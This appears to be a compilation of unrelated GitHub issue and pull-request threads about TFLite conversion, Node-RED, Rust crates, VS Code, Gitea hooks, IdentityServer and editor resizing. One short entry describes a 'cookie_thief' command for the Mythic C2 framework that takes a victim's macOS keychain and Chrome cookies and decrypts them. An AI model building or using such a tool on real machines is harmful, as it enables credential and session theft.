tf.lite.TFLiteConverter.from_saved_model error

System information

OS Platform and Distribution (MacOS 10.14.4):
TensorFlow installed from (binary):
TensorFlow version (tensorflow==1.13.1):

Provide the text output from tflite_convert
Some of the operators in the model are not supported by the standard TensorFlow Lite runtime and are not recognized by TensorFlow. If you have a custom implementation for them you can disable this error with --allow_custom_ops, or by setting allow_custom_ops=True when calling tf.lite.TFLiteConverter(). Here is a list of builtin operators you are using: ADD, CAST, CONCATENATION, CONV_2D, EQUAL, EXPAND_DIMS, FILL, FULLY_CONNECTED, GATHER, LESS, LOGICAL_AND, LOGISTIC, MAXIMUM, MAX_POOL_2D, MINIMUM, PACK, RANGE, REDUCE_MAX, REDUCE_MIN, RESHAPE, SHAPE, SPARSE_TO_DENSE, STRIDED_SLICE, TRANSPOSE. Here is a list of operators for which you will need custom implementations: LSTMBlockCell, Merge, Switch.
Traceback (most recent call last):
File "/Users/jim/src/ai/xiayu/deepiano/venv/bin/toco_from_protos", line 11, in
load_entry_point('tensorflow', 'console_scripts', 'toco_from_protos')()
File "/Users/jim/src/ai/xiayu/deepiano/venv/lib/python3.7/site-packages/tensorflow-1.13.1-py3.7-macosx-10.14-x86_64.egg/tensorflow/lite/toco/python/toco_from_protos.py", line 59, in main
app.run(main=execute, argv=[sys.argv[0]] + unparsed)
File "/Users/jim/src/ai/xiayu/deepiano/venv/lib/python3.7/site-packages/tensorflow-1.13.1-py3.7-macosx-10.14-x86_64.egg/tensorflow/python/platform/app.py", line 125, in run
_sys.exit(main(argv))
File "/Users/jim/src/ai/xiayu/deepiano/venv/lib/python3.7/site-packages/tensorflow-1.13.1-py3.7-macosx-10.14-x86_64.egg/tensorflow/lite/toco/python/toco_from_protos.py", line 33, in execute
output_str = tensorflow_wrap_toco.TocoConvert(model_str, toco_str, input_str)
Exception: We are continually in the process of adding support to TensorFlow Lite for more ops. It would be helpful if you could inform us of how this conversion went by opening a github issue at https://github.com/tensorflow/tensorflow/issues/new?template=40-tflite-op-request.md
and pasting the following:
Some of the operators in the model are not supported by the standard TensorFlow Lite runtime and are not recognized by TensorFlow. If you have a custom implementation for them you can disable this error with --allow_custom_ops, or by setting allow_custom_ops=True when calling tf.lite.TFLiteConverter(). Here is a list of builtin operators you are using: ADD, CAST, CONCATENATION, CONV_2D, EQUAL, EXPAND_DIMS, FILL, FULLY_CONNECTED, GATHER, LESS, LOGICAL_AND, LOGISTIC, MAXIMUM, MAX_POOL_2D, MINIMUM, PACK, RANGE, REDUCE_MAX, REDUCE_MIN, RESHAPE, SHAPE, SPARSE_TO_DENSE, STRIDED_SLICE, TRANSPOSE. Here is a list of operators for which you will need custom implementations: LSTMBlockCell, Merge, Switch.
Also, please include a link to a GraphDef or the model if possible.
Include any logs or source code that would be helpful to diagnose the problem. If including tracebacks, please include the full traceback. Large logs and files should be attached.

@toandrew Request you to please refer link1, link2. Please let us know how it progresses. Thanks!

@toandrew Automatically closing due to lack of recent activity. Please update the issue when new information becomes available, and we will reopen the issue. Thanks!


 It saves us quite
some time on smaller tests.

Kill doesn't work as we want.


When I save my project it doesn't create the file package.json

Hi, when I create a new project by cloning a repository without package.json a pop up appears with the message to do the setup of the project, in the moment in which except the setup of the project this error appears to me in console:
TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received type undefined application.js:630     at assertPath (path.js:39:11)     at Object.join (path.js:432:7)     at Project.update (g:\Gianmaria\Projects\nodered2019\node-red\packages\node_modules\@node-red\runtime\lib\storage\localfilesystem\projects\Project.js:397:42)     at Object.updateProject (g:\Gianmaria\Projects\nodered2019\node-red\packages\node_modules\@node-red\runtime\lib\storage\localfilesystem\projects\index.js:433:26)     at Object.updateProject (g:\Gianmaria\Projects\nodered2019\node-red\packages\node_modules\@node-red\runtime\lib\api\projects.js:130:41)     at g:\Gianmaria\Projects\nodered2019\node-red\packages\node_modules\@node-red\editor-api\lib\editor\projects.js:136:37     at Layer.handle [as handle_request] (g:\Gianmaria\Projects\nodered2019\node-red\node_modules\express\lib\router\layer.js:95:5)     at next (g:\Gianmaria\Projects\nodered2019\node-red\node_modules\express\lib\router\route.js:137:13)     at g:\Gianmaria\Projects\nodered2019\node-red\packages\node_modules\@node-red\editor-api\lib\auth\index.js:74:13     at Layer.handle [as handle_request] (g:\Gianmaria\Projects\nodered2019\node-red\node_modules\express\lib\router\layer.js:95:5)

[ ] Node-RED version: 0.20
[ ] node.js version: 10.15
[ ] npm version: 6.4.1
[ ] Platform/OS: Win10
[ ] Browser: Chrome

Is it a bug or something wrong?

Please edit you issue description to use the issue template you were shown when opening it.

Thanks - fix pushed to git. Will be in 0.20.4


Fix help links in storage plugin states

Fix help links in storage plugin states

Signed-off-by: Will Johnson<EMAIL_ADDRESS>

Codecov Report

Merging #92 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #92   +/-   ##
=======================================
  Coverage   95.29%   95.29%
=======================================
  Files         306      306
  Lines        4121     4121
  Branches      496      496
=======================================
  Hits         3927     3927
  Misses        173      173
  Partials       21       21

Impacted Files
Coverage Δ

source/iml/storage/storage-states.js
100% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b56ddd4...6414cff. Read the comment docs.


Changed code, url

@sidradchandran - did you create this repo ? This https://github.com/Oss-fuzz/oss-fuzz repo is creating confusion with our original OSS-Fuzz repo - https://github.com/google/oss-fuzz. Can you please turn this off.


Should we export unsafe functions (e.g. protect and unprotect)?

On #196, we found clippy warns that there's # Safety section missing from unsafe functions' doc. I think we should add this, not only because clippy warns, but also because the users will probably need some safety advice to use these functions properly. I think I don't have enough knowledge to write up this, so let me just file this here.
warning: unsafe function's docs miss `# Safety` section
  --> extendr-api/src/ownership.rs:24:1
   |
24 | / pub unsafe fn protect(sexp: SEXP) {
25 | |     let mut own = OWNERSHIP.lock().expect("protect failed");
26 | |     own.protect(sexp);
27 | | }
   | |_^
   |
   = note: `#[warn(clippy::missing_safety_doc)]` on by default
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#missing_safety_doc

warning: unsafe function's docs miss `# Safety` section
  --> extendr-api/src/ownership.rs:29:1
   |
29 | / pub unsafe fn unprotect(sexp: SEXP) {
30 | |     let mut own = OWNERSHIP.lock().expect("unprotect failed");
31 | |     own.unprotect(sexp);
32 | | }
   | |_^
   |
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#missing_safety_doc

In fact I have deliberately not documented these functions to deter their use.
They should probably be pub (crate) and clippy may then be happy.

There is a good argument to void all unsafe functions in the public API.
The exception to this is libR-sys which is all unsafe.

Nice work, anyway.

@clauswilke
Are you okay with closing this issue? I personally feel it's fine at least for now and we can file a new one when the need for those unsafe functions actually arises.

Yes, that's fine.

I see, thanks for confirming.


code --list-extensions should show version number

When I run code --list-extensions, I got this output:
Version 1.27.2 (1.27.2)
Code > code --list-extensions
[createInstance] extensionManagementService depends on downloadService which is NOT registered.
arcticicestudio.nord-visual-studio-code
dbaeumer.vscode-eslint
eg2.tslint
Equinusocio.vsc-material-theme
esbenp.prettier-vscode
msjsdiag.debugger-for-chrome
octref.vetur
vscodevim.vim

I suggest list versions as well. This is useful for diagnosing if an issue is caused by extensions.
A possible output could be:
<EMAIL_ADDRESS><EMAIL_ADDRESS>

You can get the extension version with an extra argument --show-versions.
code --list-extensions --show-versions

Even though I work on VS Code, I didn't realize that flag was there...Wondering why it's not the default behavior and need an extra flag.


this.throttle takes { paramsSerializer: as a prop of third argument, which leads to AxiosError: BAD_OPTION_VALUE: options is not an object

Hi,
I just encountered an error with this prop, that leads to an AxiosError: BAD_OPTION_VALUE: options is not an object. file axios/lib/helpers/validator.js function AssertOptions.
"@storyblok/react": "^1.3.3"
"axios": "^1.1.3"
paramsSerializer is given a function: (e) => a(e)
To solve the issue, I gave him an empty object: {} instead.
Is my solution a regression, how do you suggest to solve this issue
weird error that happened because once it was working well and suddenly fell into this

+1

Hey @christophby @Redskinsjo we're working on a change for the React SDK that will solve this issue since we will remove the axios dependency from the storyblok-js-client.
Will keep you updated about that

Hello everyone!
We just released Storyblok React SDK v2.0.0:
https://github.com/storyblok/storyblok-react/releases/tag/v2.0.0
With this PR we're removing the axios dependency. You don't need to install it anymore in order to use the Storyblok React SDK:
https://github.com/storyblok/storyblok-react/pull/345
For that reason, this issue should be fixed now.
Let us know if this works for you.


Missing LICENSE

I see you have no LICENSE for this project. The default is copyright.
I would suggest releasing the code under the Apache-2.0 or MIT license.

Sorry! Added the 3-clause BSD license.


Consider using masonry (or more modern equivalent) to solve the page layout sometimes leaves big whitespace issue

I think we are better off Reactifying each  and when we are done there'll be much less need.


Game history storage

The streak of the player is stored in the browser, could it be possible to show at the bottom of the main screen a list of games played (when, score) and when tapped on open up to show the final timeline from the game?

It would be technically possible, yeah. Right now this is not something I think makes sense to add though. Will keep it open and if lots of people want something similar (just add a :+1: reaction to the top post) then maybe we can look at it.


Why is upload aborting from cordova?

I have a cordova app that I'm testing locally (I'm about to test on the dev environment, too), and it aborts instead of completing. I'm not quite sure why... here's my relevant code:
MeteorCamera.getPicture({width: 1024}, function (err, dataURL) {
            const file = dataURItoBlob(dataURL);
            file.name = 'Uploaded File';
            const photo = _.pick(file, 'name', 'type', 'size');

            console.log('file', file, file instanceof Blob);
var upload = new UploadFS.Uploader({
                store: imageStore,
                data: file,
                file: photo,
                adaptive: true,
                onError: function (err) {
                    console.error(err);
                },
                onAbort: function (file) {
                    console.log(file.name + ' upload has been aborted');
                },
                onComplete: function (file) {
                    console.log(file.name + ' has been uploaded');
                    sendMessage(Session.get('otherId'), event, file._id);
                },
                onCreate: function (file) {
                    console.log(file.name + ' has been created with ID ' + file._id);
                },
                onProgress: function (file, progress) {
                    console.log(file.name + ' ' + (progress*100) + '% uploaded');
                },
                onStart: function (file) {
                    console.log(file.name + ' started');
                },
                onStop: function (file) {
                    console.log(file.name + ' stopped');
                }
            });

            upload.start();
        });

I tried lowering the chunk size to 8kb and increasing the number of retries, but neither worked. It works in the browser, and I'm using the --mobile-server <IP_ADDRESS>:3000 flag, where <IP_ADDRESS> is the IP of my computer.
Any ideas?

I'm getting the same problem. With a similar code, my log is like this:

The error doesn't show up, it only say that the upload was aborted, doing something on the app, or without doing anything.

Can it be related to #120 ?

I ended up not using this at all and just using cloudinary.

@ddspog Debugging on mobile devices is a pain.. I am sorry I currently don't have the time to dig this issue.. :(

+1 for this issue... and why you didn't pass reason of error in this line


georgettica/fix provision shard

[create-pull-request] automated change
fix: one cluster was incorrect

forgot to remove bad commit :) done!


replace function fix

String replace function would not work if the first argument was a variable, fixed that.
While I was there I added a couple of Number static functions (isInteger, isFinite).

Hey @2pha, thanks for your pull-request!
I noticed that one test is failing (about RegExp), do you know what could it be?
https://travis-ci.org/endel/js2php/builds/258037589

Oh, sorry. Yes I know what it is.
I will fix it.

Thanks for this repository, I sometimes want a class in both JS and PHP, this will come in very handy.

Great, thanks! 🎉  @2pha


Test display functionality using Renode

Requires the use of com0com (online version doesn't work because of drivers. Included a working version's 7z file)
Instructions for Windows/Linux UART communication included in sender.py in root

If Nextion currently can read display.tft, don't update Nextion. I updated it and can no longer read display.tft

If Nextion currently can read display.tft, don't update Nextion. I updated it and can no longer read display.tft

As in we can't flash it?

If Nextion currently can read display.tft, don't update Nextion. I updated it and can no longer read display.tft

As in we can't flash it?

Nevermind. Issue was fixed. Just didn't load the debugger properly

@NathanielDelgado @IshDeshpa Has this been tested / confirmed to work? If so we should be able to merge this. Also, if this requires any other software (i remember yall saying something about this) it should be documented.

@NathanielDelgado @IshDeshpa Has this been tested / confirmed to work? If so we should be able to merge this. However, I'm not sure we want to delete all that stuff out of the .resc file. What's the rationale there?

Yes, the nextion debugger can communicate with renode (Ishan uploaded a video earlier this month showing it working on Slack). We can merge it in and the documentation is in the sender.py script.

Honestly, I don't think we need to care about this at this stage. I'm just gonna close the PR, but we can revisit it later if we need to.


First-feedback

This change set addresses two issues reported after the initial release of HidHide, both triggering the top-level exception handler.

A HID device may lack a container id. This is handled similar to an empty device path, returning GUID_NULL
A HID device may be locked exclusively by another application (like DS4Windows does). This is made a subcase of "Denied".

Both issues were reproduced by Kirian (thanks for the support here) and after applying these changes, they were confirmed gone.

LGTM! Fixes #1.


cookie_thief command

Created the cookie_thief command that will download the login keychain-db and Chrome Cookies file from the victim machine, decrypts the login keychain keychain-db using the user input victim-user username and password, parses the chrome safe storage key from decrypted the login keychain-db, saves the chrome safe storage key to the Mythic credentials, decrypts the Cookies file with the chrome safe storage key using pycookiecheat, outputs the JSON to the Mythic UI and saves the JSON file in the Mythic files.  NOTE: DockerFile performs a pip install of pycrypto for the pycookiecheat.

Updated in the main repo already as part of the 2.3 updates


Add FsType for cgroupfs

CGROUP_SUPER_MAGIC and CGROUP2_SUPER_MAGIC are not supported currently.
Signed-off-by: Kenta Tada<EMAIL_ADDRESS>

Only one problem: you'll have to rebase to fix the test failure.

@asomers I could fix the test failure.

You mean fix fix?  Because I see that you already rebased.  Rebasing simply removed the failing target.

Why did you exclude CGROUP_SUPER_MAGIC and CGROUP2_SUPER_MAGIC for musl?

@jirutka a quick search reveals that rust-lang/libc doesn't define them on musl, nor does musl appear to define them at all.
https://github.com/rust-lang/libc/search?q=CGROUP_SUPER_MAGIC
https://github.com/bminor/musl/search?q=CGROUP_SUPER_MAGIC

They are provided by linux, not libc. It's wrong in the libc crate.
https://github.com/rust-lang/libc/pull/2633

In that case, once https://github.com/rust-lang/libc/pull/2633 is merged I'd welcome a PR fixing it here.
In general nix sits on top of rust-lang/libc, and relies on it being correct.


Bump package:unified_analytics to 5.8.8+1

Proactive fix for:

https://github.com/flutter/flutter/issues/146153

This PR bumps the version for package:unified_analytics to version 5.8.8+1. This update contains a patch that may cause errors when sending error events internally within the package. The diff between 5.8.8 and 5.8.8+1 can be found here.
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[x] I listed at least one issue that this PR fixes in the description above.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making, or this PR is test-exempt.
[x] I followed the breaking change policy and added Data Driven Fixes where supported.
[ ] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

Closing in favor of #426929


Add sync.Mutex to lock and unlock j.nonces

This PR adds sync.Mutex to jws, and locks/unlocks methods where j.nonce is edited. This fixes the data race during tests for ObtainCertificate.

Thank you for your time and for implementing this!


How to query a specific db inside same redis single node

Summary
We are testing this data source with a single redis node with two DBs (db1 and db2).
When running SCARD command for several KEYS in a new panel we don't know against which db is executing the command either db1 or db2.
We would like to set a specific db to run the command/query against.
Relevant information
Grafana 7.1.1
Imported dashboard is the one that comes with datasource
A new panel inside this dashboard has been created to run command and show SCARD results.
Please do let me know if you need any additional information.
Regards,

Update:
We managed to get it working changing the datasource URL using the following syntax:
redis://redis-server:6379?db=1
The downside is that we need to create a specific datasource for every db.
Also should be good to show this on the datasource docs.
Regards,

@marcossv9 Thank you for testing the data source and submitting the issue. Please let me know if you find anything else.
Answering your first question, by default, new connections always use database 0 (https://redis.io/commands/select). Adding select to support multiple databases can add complexity and it's not supported in the Redis Cluster, non-OSS Redis.
Why is it downside? There are no problems using multiple data sources with repeat rows for Datasource variables to show all of the them. It's the same as using multiple Redis instances.
Thank you for the tip, I will update README.

@marcossv9 README updated with How to connect to Redis logical database? section.

@marcossv9 Thank you for testing the data source and submitting the issue. Please let me know if you find anything else.
Answering your first question, by default, new connections always use database 0 (https://redis.io/commands/select). Adding select to support multiple databases can add complexity and it's not supported in the Redis Cluster, non-OSS Redis.
Why is it downside? There are no problems using multiple data sources with repeat rows for Datasource variables to show all of the them. It's the same as using multiple Redis instances.
Thank you for the tip, I will update README.

Thanks for your answer and clarification @mikhailredis.
For me the ideal escenario could be using same redis datasource (single redis node) and then have the option to select to which db we want to query/consult in a Dashboard instead of creating a new datasource for every db.
Having said that I think I can use Grafana variables to solve that as you said.
Thanks again!


Is this available for public consumption?

Hey! Super cool to see some public code for BC.
I'm working on a campground availability notifier and was wondering if this system is available to the public, I'd love to support BC campgrounds.

Thanks for the response @rumoncarter!
What I meant previously was actually not if I can fork the project to use my own code (super cool license though), but rather if there is a production version of the API whose data I can consume.
Specifically I'm interested in the data behind https://camping.bcparks.ca/. For example, what campgrounds have sites open on any given date.
Is this something that this project provides? My apologies if not, I just saw 'parks' and 'reso' and got excited.

Hi @danthareja,
This API is for the BC Parks Day Use Pass system. It is a back-end for two Angular projects, and so far there is no documentation for public consumption.

https://github.com/bcgov/parks-reso-public
https://github.com/bcgov/parks-reso-admin

The new camping reservation system is created and maintained by https://www.camis.com/, and it isn't integrated with the Day Use Pass system.

Ahh -- the Day Use Pass is the part I was missing. Thanks for filling in the gap @molund :)


TilemapLayer does not consider scale when camera is moving.

Condition: Camera is scaled to something other than 1.
When moving the camera via game.camera.x /.y sprites move appropriate, by taking into consideration the scale of the camera. However tilemap does not do this. Instead it only moves by the new x or y unscaled.
EDIT:
In the dev version of phaser/src/tilemap/TilemapLayer.js
Phaser.TilemapLayer.prototype.postUpdate = function () {
Phaser.Component.Core.prototype.postUpdate.call(this);

//  Stops you being able to auto-scroll the camera if it's not following a sprite
var camera = this.game.camera;

this.scrollX = camera.x * this.scrollFactorX / this.scale.x;
this.scrollY = camera.y * this.scrollFactorY / this.scale.y;

this.render();

};

Could be changed to :
Phaser.TilemapLayer.prototype.postUpdate = function () {
Phaser.Component.Core.prototype.postUpdate.call(this);

//  Stops you being able to auto-scroll the camera if it's not following a sprite
var camera = this.game.camera;

this.scrollX = camera.x * this.scrollFactorX / this.scale.x;
this.scrollY = camera.y * this.scrollFactorY / this.scale.y;

this.render();

if (this.fixedToCamera) {

    this.position.x = camera.view.x + this.cameraOffset.x
    this.position.y = camera.view.y + this.cameraOffset.y
}

};
I've tested this and it works to what I think should be happening. The tilemap moves at the same rate as the camera.

Closing this one as it was actually fixed a while ago, as a result of something else, and this issue wasn't  properly closed at the time.


tflite-nnapi Handle version 2 of transpose conv

We should support version 2 which contains INT8 instead of float
in nnapi. Update the verification to version 2

This should fix https://github.com/tensorflow/tensorflow/issues/46098

This should fix https://github.com/tensorflow/tensorflow/issues/46098


Error 500 when updating githooks on mirrored repositories

Gitea version (or commit ref): 1.5.0-dev
Git version:
Operating system: Windows 10 x64
Database (use [x]):

[x] PostgreSQL
[ ] MySQL
[ ] MSSQL
[ ] SQLite

Can you reproduce the bug at https://try.gitea.io:

[ ] Yes (provide example URL)
[ ] No
[x] Not relevant

Log gist:

Description
Since try.gitea.io isn't working at the time of this writing I couldn't test it. But after looking at the code the issue should exist there too.
When creating a migration, and the repository is a mirror, the code doesn't seem to create the git hook repositories that it expects to find, resulting in a file not found error. Image 1 shows a newly created repository that isn't a mirror. There we can see three folders that contain the three sample hooks that are presented in the Gitea Web GUI (Image 2). A newly created repository that is a mirror, doesn't create these folders (Image 3).
Is this intended? Is there a reason why you shouldn't be able to create git hooks for mirrored repositories?
Screenshots
Image 1

Image 2

Image 3

Seconding this issue/question. I'd love to use a gitea mirror to execute git hooks on my git server host – having git hooks available would be very helpful.

@rixx any logs?

There aren't really any logs – while the frontend shows a large "500", the logs show a 404, which happens when gitea tries to access the non-existing hook directory (usually there is a post-receive.d).
But that's not really the point – I have manually created a post-receive.d, and while I can edit the post receive hook after that, naturally, it doesn't get triggered when the mirror repository gets updated from the upstream repository.
(Motivation: It would be really cool if this was possible – this would allow to do stuff like continuous delivery from your own servers with very little effort for repositories you can't or won't move away from other platforms.)
If I can provide more help, please tell me – unfortunately the mirror update doesn't seem to log anything to the syslog on my machine, so I can't tell you if it has any issues. Mirror updates definitely happen correctly as before.

Can confirm that this issue appears on 1.5.2 -- both in a Docker and normal environment. Only one relevant line pops up in the log:
2018/10/16 06:07:52 [...ters/repo/setting.go:647 GitHooksEditPost()] [E] hook.Update: open /data/git/repositories/org/project.git/hooks/post-receive.d/post-receive: no such file or directory

Regardless, this issue still occurs.

Yep found out about the same error today. I wanted to start build jobs of another repository, using a mirrored repository since the webhooks can't send custom post parameters
To bad this doesn't work either :(


There should be some intro in the documentation explaining why OwningRef is needed

My reactions when reading the doc:

This crate provides the owning reference type OwningRef that enables it to bundle a reference together with the owner of the data it points to.

Strange idea... Why not just use usual reference or the object itself?

This allows moving and dropping of a OwningRef without needing to recreate the reference.

What does mean to re-creating a reference? Can there be only one OwningRef to given object? Is it Rc, but for references?

Maybe there should be some easy introduction and rationale. There may also be a "nonworking" example where we can't do something, neither with usual references nor the object itself (showing partial source code with unfilled "impossible" line), but can with OwningRef (showing corrected, now working source code).
Is OwningRef to provide a limited "view" into subset of the object while preserving ownership? In that case there may be special example showing how OwningRef simplifies API like this:
fn print_sum_and_drop_array(data: Box<[u32]>, from: usize, len: usize);
fn print_sum_and_drop_array(x : BoxRef<[u32]>);

Hi, I'm sincerely sorry for taking so long to respond.
I've added a section in the docs about a motivating example of normal Rust code that would not compile and where this library could help, it is included in the next release.
Writing up more detailed use case scenarios sounds like a good idea too, but I did not get to that right now.


In Hybrid flow, refresh access_token doesn't use refersh_token. After I clean all the data in IPersistedGrantStore, the access_token always can refresh

I use the sample from https://github.com/IdentityServer/IdentityServer4.Samples/tree/master/Quickstarts/5_HybridFlowAuthenticationWithApiAccess
I modify the client's AccessTokenLifetime to 600 in QuickStartIdentityServer. I make sure the grant type is HybridAndClientCredentials
I run the mvcClient,IdentityServer and login success. after 20 mins, I clean all the data in IPersistedGrantStore.  than I refresh the mvcClient page, the page redirect to IdentityServe, regenerate access_token and refresh_token ,and redirect to mvcClient page!
the question is ,why the access_token can refresh without a validate refresh_token. I was delete all the token by IPersistedGrantStore.RemoveAllAsync("subjectId"). Is it correct? ?
I know the cookies already exist in IdentityServer domain. I know the mvcClient was logged in before.
although the cookies exist, it just contain an expired access_toke, just contain an invalidate refresh_token which I deleted in IPersistedGrantStore before .
I find some help from others, but no one can explain. As I know, refresh_token is the requirement for refresh the access_token.

Any update?

The problem still not solve.!!!

The problem still not solve

Please investigate further and produce a concrete repro for the issue. That was we can repo it and if it's a bug we can fix it.


Catch or return

This change:

Extends the things treated as Promises to include the result of Promise.all etc.
Adds an option to change the terminationMethod (defaulting to catch).  This lets you require promise chains to be terminated with the method of your choice (e.g. .done(), which is common practice in most non-native Promise implementations).

Solid work!


Add social network fields for Code Wars and Free Code Camp

Pending #356 can you please add socialnetwork.freecodecamp and socialnetwork.codewars to hubpress/scripts/app.js?

Will this let you use a custom Ghost theme to render the links behind the data in the fields?

@anthonny I feel that adding the new social fields has the following impacts:

Ghost themes would all need to be customised to support them (if they aren't already).
If networks can be custom specified by users, then we need to allow them to select an icon to match it.
What if a user-specified social media network isn't supported by the icon set? Do we assume that the user will just select from the list of available icons, or would they expect to be able to upload their own? How do we support that?

I'd be happier to let folks customise their own themes if they want custom social media networks added.

@jaredmorgs - The problem is that if the theme changes, is the data lost?  (i.e. separation of concerns).  Personally, I'd rather be able to set up custom fields and have to set my own icon via font awesome or a self-hosted svg icon.

@metasean I would think that if the theme changes, Anthonny would need to update the HubPress fork of the theme, and ensure there were no breaking changes with functionality.
Your approach with setting icons is solid. 👍
I would also vote for that approach if custom social networks were required.


[WIP] Minimum element sizes

Fixes #917

What should happen for multi-selection? I guess we should stop the resize as soon as any of the elements reaches their minimum?
Minimum for Video will be bigger - to make the play button large enough.
Some special rules for Text, because it will impact min. font size.
About resizing via inputs: I looked at Gutenberg and I'm not sure whatever it's a bug or a feature to resize it like this:

Pasting what we have in Figma:

Should we hide the handles at min size, but still, allow resizing by an edge? (Right now)

All of that seems good. To answer your questions:

I guess making stuff smaller via text input in the design panel without restriction could work. Let's try that, and only have on-screen resizing respect the min boundaries.
Yes, the way Sam has shown it is the best, but requires an ability to seamlessly hide handles at tiny sizes, and make edges/sides functional (not just the handles). If it's easy, you can do it in this PR, but also works as follow up.

Update: Sounds like @samitron7 really wants the edge resizing for alpha, so getting that in would be awesome.

Update: Sounds like @samitron7 really wants the edge resizing for alpha, so getting that in would be awesome.

It's done here: https://github.com/google/web-stories-wp/pull/987

@merapi friendly ping, what's the status here? I see comments from @dvoytenko from 8 days ago.

Updated basic version.
Now about this:

From my testing:

Keeping renderDirections in state which then will be updated in onResize - will not work as expected, setState will re-render the element causing issues while resizing.
We can hide the handles on init and when the resizing is done (when the element is min size, this one alone is not enough for good UX).
To hide handles while resizing we can try to set handles opacity to 0 (directly, not nice, but should work).

@merapi Before we zoom further in, could you pls check: what would happen if we were to simply ignore the onResize from Moveable that takes width/height under the minimum?

@merapi Before we zoom further in, could you pls check: what would happen if we were to simply ignore the onResize from Moveable that takes width/height under the minimum?

@dvoytenko
If we are talking about early return like this:
onResize:
if (width < minWidth) return;

I started with that solution but quickly found 2 issues:
1st very weird one:

2nd:
It would be nice to update the final width/height with our min/max, because without that (and with min/max set to 20px) you will sometimes get 21 or 22px at resizeDone.

@merapi Ok. I do see the weird behavior on the when we left handles are used. Really strange. But that doesn't change what method we use, right? I think the answer for that is to figure out if drag.beforeTranslate needs to change.
As far as the assigning the min values. I think it's a good idea, but I still wonder if we can just start by doing this (based on your code above):
onResize({width, height}):
  newWidth = Math.max(width, minWidth);
  newHeight = Math.max(height, minHeight);

I think the trying to preserve the aspect ratio that you've done might be needed, but possibly in a very limited way. For instance, here's how this code can change to take aspect ratio could look like:
onResize({width, height, direction}):
  newWidth = width;
  newHeight = height;
  if (newWidth < minWidth || newHeight < minHeight) {
    newWidth = Math.max(width, minWidth);
    newHeight = Math.max(height, minHeight);
    if (direction[0] !== 0 && direction[1] !== 0) {
      // Do "cover" calculations to get newWidth and newHeight.
    }
  }

That direction check might already be covered by the isResizingFromCorner value. And the "cover" calculations we already do somewhere. You can see getMediaSizePositionProps for the math.
But what's really important is that we let the rest of our code to execute more-or-less the same, including updateForResizeEvent and such.

What‘s the status here?

As far as the assigning the min values. I think it's a good idea, but I still wonder if we can just start by doing this

Might be a UX question, because it will behave like A (B is current PR and for me, this is the expected behavior):
https://drive.google.com/file/d/1W0RjnFA6FVLeh5GqjYm3VO8-n7ZFTkjR/view?usp=sharing

As far as the assigning the min values. I think it's a good idea, but I still wonder if we can just start by doing this

Might be a UX question, because when you do both Math.max it will behave like A (B is current PR and for me, this is the expected behavior):
https://drive.google.com/file/d/1W0RjnFA6FVLeh5GqjYm3VO8-n7ZFTkjR/view?usp=sharing

I'd say B as well. It'd be weird for the behavior of the dragging to change halfway through dragging.

Sorry - just seeing this but A is incorrect. Scaling using a corner handle scaling with locked aspect ratio so A is the correct behavior except the min value appear large.
As for multiple selection, the idea is you treat it like it is an image (ie, everything scale down together). Only difference is that you can only scale with aspect ratio locked for multiple select (ie, no scaling just width or height separately. That behavior is correct on the editor expect t requires a min value.

Definitely B.

As for multiple selection, the idea is you treat it like it is an image (ie, everything scale down together). Only difference is that you can only scale with aspect ratio locked for multiple select (ie, no scaling just width or height separately. That behavior is correct on the editor expect t requires a min value.

So you can scale down the whole group to min (20px)?
In other words, this will be possible:

Or we want to prevent that? it means that on this video resizing down will not be possible (because one of the elements is already 20x20).

I would leave this behavior for multiple select and sizing as is for these 2 reasons

It's probably an edge case. If the user does something like this, they'll quickly understand that the really small element is not useful and hits undo. I don't think it's worth solving for.
The use case that matters more is sizing the individual element and capping the H and W to 20px is good enough.

+1. Let's please optimize for getting this merged. We can address edge cases further down the road.

Added: visually hide handles for small elements (Figma).

We don't have all the rules described yet.

Even if the elements within the multi-selection aren't handled separately, there should probably still be a general minimum width/height for the multi-selection, right?
Currently, it's possible to resize multi-selection into 0 which causes all kind of weird breaking behavior, e.g.
After resizing multi-selection to zero and then resizing one of the elements to large again:

Accompanied by various console errors, including:

From testing:
For some reason on this PR, I'm not able to edit the Text:

From testing:
For some reason on this PR, I'm not able to edit the Text:

Some old editor bugs, all fixed on master.

Even if the elements within the multi-selection aren't handled separately, there should probably still be a general minimum width/height for the multi-selection, right?
Currently, it's possible to resize multi-selection into 0 which causes all kind of weird breaking behavior, e.g.
After resizing multi-selection to zero and then resizing one of the elements to large again:

Accompanied by various console errors, including:

It's also possible to do it for a single element. So we can think later about this edge case (should 1px be minimum for input value?).

+1. Let's please optimize for getting this merged. We can address edge cases further down the road.

It's also possible to do it for a single element. So we can think later about this edge case (should 1px be minimum for input value?).

Note that this comment was not about the input value here but resizing with Moveable so that the smallest element gets to 0.
Anyway, I suppose that since the PR is not creating new bugs but just not addressing some of the relevant bugs we can just follow up separately.

All of the code was moved to https://github.com/google/web-stories-wp/pull/1948# - covering more issues there.


Build Error (Arc Linux - current git version)

QWARN  : TestTreeView::conflictedAndStagedFile() This plugin does not support propagateSizeHints()
PASS   : TestTreeView::conflictedAndStagedFile()
PASS   : TestTreeView::cleanupTestCase()
Totals: 6 passed, 1 failed, 0 skipped, 0 blacklisted, 1670ms
********* Finished testing of TestTreeView *********

      Start 18: Submodule
18/26 Test #18: Submodule ........................   Passed    2.09 sec
      Start 19: referencelist
19/26 Test #19: referencelist ....................   Passed    1.02 sec
      Start 20: amend
20/26 Test #20: amend ............................   Passed    0.59 sec
      Start 21: SshConfig
21/26 Test #21: SshConfig ........................   Passed    0.07 sec
      Start 22: store
22/26 Test #22: store ............................   Passed    0.05 sec
      Start 23: fileContextMenu
23/26 Test #23: fileContextMenu ..................   Passed    3.20 sec
      Start 24: Setting
24/26 Test #24: Setting ..........................   Passed    0.06 sec
      Start 25: commitMessageTemplate
25/26 Test #25: commitMessageTemplate ............   Passed    0.07 sec
      Start 26: commitEditor
